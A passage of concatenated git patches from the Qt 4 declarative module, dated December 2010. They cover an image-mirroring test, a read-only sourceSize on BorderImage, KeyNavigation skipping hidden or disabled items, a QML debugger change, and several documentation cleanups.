height); + obj->setFillMode((QDeclarativeImage::FillMode)fillMode); + obj->setProperty("mirror", true); + + QGraphicsScene scene; + scene.addItem(qobject_cast(obj)); + QPixmap screenshot(width, height); + screenshot.fill(); + QPainter p_screenshot(&screenshot); + scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); + + QPixmap srcPixmap; + QVERIFY(srcPixmap.load(SRCDIR "/data/heart200.png")); + + QPixmap expected(width, height); + expected.fill(); + QPainter p_e(&expected); + QTransform transform; + transform.translate(width, 0).scale(-1, 1.0); + p_e.setTransform(transform); + + switch (fillMode) { + case QDeclarativeImage::Stretch: + p_e.drawPixmap(QRect(0, 0, width, height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); + break; + case QDeclarativeImage::PreserveAspectFit: + p_e.drawPixmap(QRect(25, 0, width / (width/height), height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); + break; + case QDeclarativeImage::PreserveAspectCrop: + { + qreal ratio = width/srcPixmap.width(); // width is the longer side + QRect rect(0, 0, srcPixmap.width()*ratio, srcPixmap.height()*ratio); + rect.moveCenter(QRect(0, 0, width, height).center()); + p_e.drawPixmap(rect, srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); + break; + } + case QDeclarativeImage::Tile: + p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); + break; + case QDeclarativeImage::TileVertically: + transform.scale(width / srcPixmap.width(), 1.0); + p_e.setTransform(transform); + p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); + break; + case QDeclarativeImage::TileHorizontally: + transform.scale(1.0, height / srcPixmap.height()); + p_e.setTransform(transform); + p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); + break; + } + + QCOMPARE(screenshot, expected); + + delete obj; +} + +void tst_qdeclarativeimage::mirror_data() +{ + QTest::addColumn("fillMode"); + + QTest::newRow("Stretch") << int(QDeclarativeImage::Stretch); + QTest::newRow("PreserveAspectFit") << int(QDeclarativeImage::PreserveAspectFit); + QTest::newRow("PreserveAspectCrop") << int(QDeclarativeImage::PreserveAspectCrop); + QTest::newRow("Tile") << int(QDeclarativeImage::Tile); + QTest::newRow("TileVertically") << int(QDeclarativeImage::TileVertically); + QTest::newRow("TileHorizontally") << int(QDeclarativeImage::TileHorizontally); +} + void tst_qdeclarativeimage::svg() { QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.svg").toString(); -- cgit v0.12 From a32728ce8cf4fa1d1dc1001b1fadc66e9c86e025 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 10 Dec 2010 13:03:59 +1000 Subject: The sourceSize property for borderImage should be read only Trying the sourceSize property from QML should emit a read-only warning. Task-number: QTBUG-15703 Reviewed-by: Bea Lam --- src/declarative/graphicsitems/qdeclarativeborderimage.cpp | 6 ------ src/declarative/graphicsitems/qdeclarativeborderimage_p.h | 6 ++++-- 2 files changed, 4 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index a25074a..d9ba2bd 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -256,12 +256,6 @@ void QDeclarativeBorderImage::setSource(const QUrl &url) load(); } -void QDeclarativeBorderImage::setSourceSize(const QSize& size) -{ - Q_UNUSED(size); - qmlInfo(this) << "Setting sourceSize for borderImage not supported"; -} - void QDeclarativeBorderImage::load() { Q_D(QDeclarativeBorderImage); diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h index 7cf24f2..d9db0ac 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h +++ b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h @@ -63,6 +63,9 @@ class Q_AUTOTEST_EXPORT QDeclarativeBorderImage : public QDeclarativeImageBase Q_PROPERTY(TileMode horizontalTileMode READ horizontalTileMode WRITE setHorizontalTileMode NOTIFY horizontalTileModeChanged) Q_PROPERTY(TileMode verticalTileMode READ verticalTileMode WRITE setVerticalTileMode NOTIFY verticalTileModeChanged) + // read-only for BorderImage + Q_PROPERTY(QSize sourceSize READ sourceSize NOTIFY sourceSizeChanged) + public: QDeclarativeBorderImage(QDeclarativeItem *parent=0); ~QDeclarativeBorderImage(); @@ -80,11 +83,10 @@ public: void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); void setSource(const QUrl &url); - void setSourceSize(const QSize&); - Q_SIGNALS: void horizontalTileModeChanged(); void verticalTileModeChanged(); + void sourceSizeChanged(); protected: virtual void load(); -- cgit v0.12 From 5710cc981ae39a018d4c30b2c77f6623713a5bf1 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 10 Dec 2010 13:19:03 +1000 Subject: KeyNavigation skips disabled or invisible items When using KeyNavigation, if the "visible" or "enabled" property of the item set in the KeyNavigation handler is false, an attempt will be made to skip this item and setFocus to the following item. Task-number: QTBUG-15862 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 46 ++++++++++--- src/declarative/graphicsitems/qdeclarativeitem_p.h | 1 + .../qdeclarativeitem/tst_qdeclarativeitem.cpp | 79 ++++++++++++++++++++++ 3 files changed, 118 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 9d6fe12..cf12688 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -444,6 +444,11 @@ void QDeclarativeItemKeyFilter::componentComplete() \c KeyNavigation.BeforeItem allows the event to be used for key navigation before the item, rather than after. + If item to which the focus is switching is not enabled or visible, an attempt will + be made to skip this item and focus on the next. This is possible if there are + a chain of items with the same KeyNavigation handler. If multiple items in a row are not enabled + or visible, they will also be skipped. + \sa {Keys}{Keys attached property} */ @@ -452,10 +457,12 @@ void QDeclarativeItemKeyFilter::componentComplete() \qmlproperty Item KeyNavigation::right \qmlproperty Item KeyNavigation::up \qmlproperty Item KeyNavigation::down + \qmlproperty Item KeyNavigation::tab + \qmlproperty Item KeyNavigation::backtab These properties hold the item to assign focus to - when Key_Left, Key_Right, Key_Up or Key_Down are - pressed. + when Key_Left, Key_Right, Key_Up, Key_Down, Key_Tab or Key_BackTab + are pressed. */ QDeclarativeKeyNavigationAttached::QDeclarativeKeyNavigationAttached(QObject *parent) @@ -603,37 +610,37 @@ void QDeclarativeKeyNavigationAttached::keyPressed(QKeyEvent *event, bool post) switch(event->key()) { case Qt::Key_Left: if (d->left) { - d->left->setFocus(true); + setFocusNavigation(d->left, "left"); event->accept(); } break; case Qt::Key_Right: if (d->right) { - d->right->setFocus(true); + setFocusNavigation(d->right, "right"); event->accept(); } break; case Qt::Key_Up: if (d->up) { - d->up->setFocus(true); + setFocusNavigation(d->up, "up"); event->accept(); } break; case Qt::Key_Down: if (d->down) { - d->down->setFocus(true); + setFocusNavigation(d->down, "down"); event->accept(); } break; case Qt::Key_Tab: if (d->tab) { - d->tab->setFocus(true); + setFocusNavigation(d->tab, "tab"); event->accept(); } break; case Qt::Key_Backtab: if (d->backtab) { - d->backtab->setFocus(true); + setFocusNavigation(d->backtab, "backtab"); event->accept(); } break; @@ -692,6 +699,29 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post) if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyReleased(event, post); } +void QDeclarativeKeyNavigationAttached::setFocusNavigation(QDeclarativeItem *currentItem, const char *dir) +{ + QDeclarativeItem *initialItem = currentItem; + bool isNextItem = false; + do { + isNextItem = false; + if (currentItem->isVisible() && currentItem->isEnabled()) { + currentItem->setFocus(true); + } else { + QObject *attached = + qmlAttachedPropertiesObject(currentItem, false); + if (attached) { + QDeclarativeItem *tempItem = qvariant_cast(attached->property(dir)); + if (tempItem) { + currentItem = tempItem; + isNextItem = true; + } + } + } + } + while (currentItem != initialItem && isNextItem); +} + /*! \qmlclass Keys QDeclarativeKeysAttached \ingroup qml-basic-interaction-elements diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h index d8635b9..402554b 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h @@ -411,6 +411,7 @@ Q_SIGNALS: private: virtual void keyPressed(QKeyEvent *event, bool post); virtual void keyReleased(QKeyEvent *event, bool post); + void setFocusNavigation(QDeclarativeItem *currentItem, const char *dir); }; class QDeclarativeKeysAttachedPrivate : public QObjectPrivate diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp index 711bf00..9587254 100644 --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp @@ -65,6 +65,7 @@ private slots: void keys(); void keysProcessingOrder(); void keyNavigation(); + void keyNavigation_skipNotVisible(); void smooth(); void clip(); void mapCoordinates(); @@ -450,6 +451,84 @@ void tst_QDeclarativeItem::keyNavigation() delete canvas; } +void tst_QDeclarativeItem::keyNavigation_skipNotVisible() +{ + QDeclarativeView *canvas = new QDeclarativeView(0); + canvas->setFixedSize(240,320); + + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml")); + canvas->show(); + qApp->processEvents(); + + QEvent wa(QEvent::WindowActivate); + QApplication::sendEvent(canvas, &wa); + QFocusEvent fe(QEvent::FocusIn); + QApplication::sendEvent(canvas, &fe); + + QDeclarativeItem *item = findItem(canvas->rootObject(), "item1"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + // Set item 2 to not visible + item = findItem(canvas->rootObject(), "item2"); + QVERIFY(item); + item->setVisible(false); + QVERIFY(!item->isVisible()); + + // right + QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item1"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + // tab + key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item3"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + // backtab + key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item1"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + //Set item 3 to not visible + item = findItem(canvas->rootObject(), "item3"); + QVERIFY(item); + item->setVisible(false); + QVERIFY(!item->isVisible()); + + // tab + key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item4"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + // backtab + key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item1"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + delete canvas; +} + void tst_QDeclarativeItem::smooth() { QDeclarativeComponent component(&engine); -- cgit v0.12 From 6541562252cecd102788257022d3cf159954cae8 Mon Sep 17 00:00:00 2001 From: Christiaan Janssen Date: Fri, 10 Dec 2010 11:47:43 +0100 Subject: QmlDebugger: Instantiation of deferred objects moved to the debugger engine Reviewed-by: Kai Koehne --- src/declarative/qml/qdeclarativecompiler.cpp | 6 +----- src/declarative/qml/qdeclarativeenginedebug.cpp | 22 ++++++++++++++++------ src/declarative/qml/qdeclarativeenginedebug_p.h | 1 + 3 files changed, 18 insertions(+), 11 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index b375b27..4749bf8 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -65,7 +65,6 @@ #include "private/qdeclarativebinding_p.h" #include "private/qdeclarativecompiledbindings_p.h" #include "private/qdeclarativeglobalscriptclass_p.h" -#include "private/qdeclarativedebugservice_p.h" #include #include @@ -755,10 +754,7 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt) QList customProps; // Fetch the list of deferred properties - QStringList deferredList; - if (!QDeclarativeDebugService::isDebuggingEnabled()) { - deferredList = deferredProperties(obj); - } + QStringList deferredList = deferredProperties(obj); // Must do id property first. This is to ensure that the id given to any // id reference created matches the order in which the objects are diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index bffe681..5f338db 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -192,11 +192,6 @@ void QDeclarativeEngineDebugServer::buildObjectDump(QDataStream &message, { message << objectData(object); - // Some children aren't added to an object until particular properties are read - // - e.g. child state objects aren't added until the 'states' property is read - - // but this should only affect internal objects that aren't shown by the - // debugger anyway. - QObjectList children = object->children(); int childrenCount = children.count(); @@ -257,6 +252,18 @@ void QDeclarativeEngineDebugServer::buildObjectDump(QDataStream &message, message << fakeProperties[ii]; } +void QDeclarativeEngineDebugServer::prepareDeferredObjects(QObject *obj) +{ + qmlExecuteDeferred(obj); + + QObjectList children = obj->children(); + for (int ii = 0; ii < children.count(); ++ii) { + QObject *child = children.at(ii); + prepareDeferredObjects(child); + } + +} + void QDeclarativeEngineDebugServer::buildObjectList(QDataStream &message, QDeclarativeContext *ctxt) { QDeclarativeContextData *p = QDeclarativeContextData::get(ctxt); @@ -393,8 +400,11 @@ void QDeclarativeEngineDebugServer::messageReceived(const QByteArray &message) QDataStream rs(&reply, QIODevice::WriteOnly); rs << QByteArray("FETCH_OBJECT_R") << queryId; - if (object) + if (object) { + if (recurse) + prepareDeferredObjects(object); buildObjectDump(rs, object, recurse, dumpProperties); + } sendMessage(reply); } else if (type == "WATCH_OBJECT") { diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h index 97b8121..dc8bc85 100644 --- a/src/declarative/qml/qdeclarativeenginedebug_p.h +++ b/src/declarative/qml/qdeclarativeenginedebug_p.h @@ -105,6 +105,7 @@ private Q_SLOTS: void propertyChanged(int id, int objectId, const QMetaProperty &property, const QVariant &value); private: + void prepareDeferredObjects(QObject *); void buildObjectList(QDataStream &, QDeclarativeContext *); void buildObjectDump(QDataStream &, QObject *, bool, bool); QDeclarativeObjectData objectData(QObject *); -- cgit v0.12 From 3006bdd1eab665d3a0e666975246d2fb20b578af Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Mon, 13 Dec 2010 09:34:04 +1000 Subject: Adding documentation for borderImage Documentation describing the read-only behaviour of property sourceSize Task-number: QTBUG-15703 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativeborderimage.cpp | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index d9ba2bd..63b2b9a 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -236,6 +236,16 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() \sa QDeclarativeImageProvider */ + +/*! + \qmlproperty QSize BorderImage::sourceSize + + This property holds the actual width and height of the loaded image. + + In BorderImage, this property is read-only. + + \sa Image::sourceSize +*/ void QDeclarativeBorderImage::setSource(const QUrl &url) { Q_D(QDeclarativeBorderImage); -- cgit v0.12 From 409f60f0f6fd2c2bad6125d0463c812ba1b1180a Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 13 Dec 2010 15:34:23 +1000 Subject: Document TextInput property maximumLength Task-number: Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativetextinput.cpp | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 0deacf8..2fb7ace 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -361,6 +361,14 @@ void QDeclarativeTextInput::setReadOnly(bool ro) emit readOnlyChanged(ro); } +/*! + \qmlproperty int TextInput::maximumLength + The maximum permitted length of the text in the TextInput. + + If the text is too long, it is truncated at the limit. + + By default, this property contains a value of 32767. +*/ int QDeclarativeTextInput::maxLength() const { Q_D(const QDeclarativeTextInput); -- cgit v0.12 From b3666a5ac8ee295adc86d8d20f5452eaad3063aa Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 13 Dec 2010 17:05:45 +1000 Subject: Revert "Add mirroring-positioners.qml example" that was accidentally pushed This reverts commit 18b940539d0633f30ae055feedb48aeb15969814. --- .../positioners/mirroring-positioners.qml | 70 ---------------------- 1 file changed, 70 deletions(-) delete mode 100644 examples/declarative/positioners/mirroring-positioners.qml diff --git a/examples/declarative/positioners/mirroring-positioners.qml b/examples/declarative/positioners/mirroring-positioners.qml deleted file mode 100644 index 0db95dd..0000000 --- a/examples/declarative/positioners/mirroring-positioners.qml +++ /dev/null @@ -1,70 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: column.width+10 - height: column.height+10 - property bool arabic: false - Column { - id: column - spacing: 10 - anchors.centerIn: parent - Text { - text: "Row" - anchors.horizontalCenter: parent.horizontalCenter - } - Row { - flow: arabic ? Row.RightToLeft : Row.LeftToRight - spacing: 10 - Repeater { - model: 4 - Loader { - property int value: index - sourceComponent: delegate - } - } - } - Text { - text: "Grid" - anchors.horizontalCenter: parent.horizontalCenter - } - Grid { - flow: arabic ? Grid.RightToLeft : Grid.LeftToRight - spacing: 10; columns: 4 - Repeater { - model: 11 - Loader { - property int value: index - sourceComponent: delegate - } - } - } - Rectangle { - height: 50; width: parent.width - color: mouseArea.pressed ? "black" : "gray" - Text { - text: arabic ? "RTL" : "LTR" - color: "white" - font.pixelSize: 20 - anchors.centerIn: parent - } - MouseArea { - id: mouseArea - onClicked: arabic = !arabic - anchors.fill: parent - } - } - } - Component { - id: delegate - Rectangle { - width: 50; height: 50 - color: Qt.rgba(0.8/(parent.value+1),0.8/(parent.value+1),0.8/(parent.value+1),1.0) - Text { - text: parent.parent.value+1 - color: "white" - font.pixelSize: 20 - anchors.centerIn: parent - } - } - } -} -- cgit v0.12 From db13511196f94e61c8c679448b6182f09b6ce539 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 13 Dec 2010 10:16:07 +0100 Subject: doc: Eliminated some "raw-html" cases. More to come. --- doc/src/widgets-and-layouts/gallery-cde.qdoc | 427 ++++++--------------------- 1 file changed, 91 insertions(+), 336 deletions(-) diff --git a/doc/src/widgets-and-layouts/gallery-cde.qdoc b/doc/src/widgets-and-layouts/gallery-cde.qdoc index c783399..69287b9 100644 --- a/doc/src/widgets-and-layouts/gallery-cde.qdoc +++ b/doc/src/widgets-and-layouts/gallery-cde.qdoc @@ -34,345 +34,100 @@ This page shows some of the widgets available in Qt when configured to use the "cde" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-pushbutton.png -\raw HTML - -\endraw -\inlineimage cde-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button. -\raw HTML - -\endraw -\raw HTML -
    -\endraw -\inlineimage cde-checkbox.png -\raw HTML - -\endraw -\inlineimage cde-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image cde-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image cde-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\o \image cde-pushbutton.png + \image cde-toolbutton.png + \caption The QPushButton widget provides a command button. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-groupbox.png -\raw HTML - -\endraw -\inlineimage cde-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage cde-frame.png -\raw HTML - -\endraw -\inlineimage cde-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-listview.png -\raw HTML - -\endraw -\inlineimage cde-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage cde-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\table 100% +\row +\o \image cde-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image cde-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image cde-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image cde-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-progressbar.png -\raw HTML - -\endraw -\inlineimage cde-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage cde-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\section2 Item Views + +\table 100% +\row +\o \image cde-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image cde-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image cde-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image cde-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image cde-label.png + The QLabel widget provides a text or image display. +\o \image cde-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image cde-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image cde-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image cde-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image cde-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image cde-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image cde-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image cde-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image cde-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image cde-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image cde-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image cde-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image cde-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image cde-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-slider.png -\raw HTML - -\endraw -\inlineimage cde-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage cde-combobox.png -\raw HTML - -\endraw -\inlineimage cde-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage cde-spinbox.png -\raw HTML - -\endraw -\inlineimage cde-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage cde-dateedit.png -\raw HTML - -\endraw -\inlineimage cde-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage cde-textedit.png -\raw HTML - -\endraw -\inlineimage cde-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage cde-dial.png -\raw HTML - -\endraw -\inlineimage cde-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage cde-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw */ -- cgit v0.12 From ba8e841523f005bddca581d70ef0883c5a26f47a Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 13 Dec 2010 11:34:49 +0100 Subject: doc: Replaced some \raw and \endraw uses with \table and \endtable In DITA XML, there is no straightforward way to translate raw html into DITA XML, because the XML stream writer automagically escapes all the raw html elements. So I am beginning to replace uses of the \raw command with \table, which gets output correctly. The problem is the XML stream writer must see each XML element start and end, because it keeps them on a stack. When you output XML elements with the writeCharacters() function, it escapes the '<' and '>' of any XML elements the character string contains. --- .../widgets-and-layouts/gallery-cleanlooks.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-gtk.qdoc | 436 +++++---------------- doc/src/widgets-and-layouts/gallery-macintosh.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-motif.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-plastique.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-windows.qdoc | 432 +++++--------------- .../widgets-and-layouts/gallery-windowsvista.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-windowsxp.qdoc | 432 +++++--------------- 8 files changed, 768 insertions(+), 2692 deletions(-) diff --git a/doc/src/widgets-and-layouts/gallery-cleanlooks.qdoc b/doc/src/widgets-and-layouts/gallery-cleanlooks.qdoc index d03adc8..59e2934 100644 --- a/doc/src/widgets-and-layouts/gallery-cleanlooks.qdoc +++ b/doc/src/widgets-and-layouts/gallery-cleanlooks.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "cleanlooks" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-pushbutton.png -\raw HTML - -\endraw -\inlineimage cleanlooks-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage cleanlooks-checkbox.png -\raw HTML - -\endraw -\inlineimage cleanlooks-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image cleanlooks-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image cleanlooks-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-groupbox.png -\raw HTML - -\endraw -\inlineimage cleanlooks-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage cleanlooks-frame.png -\raw HTML - -\endraw -\inlineimage cleanlooks-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

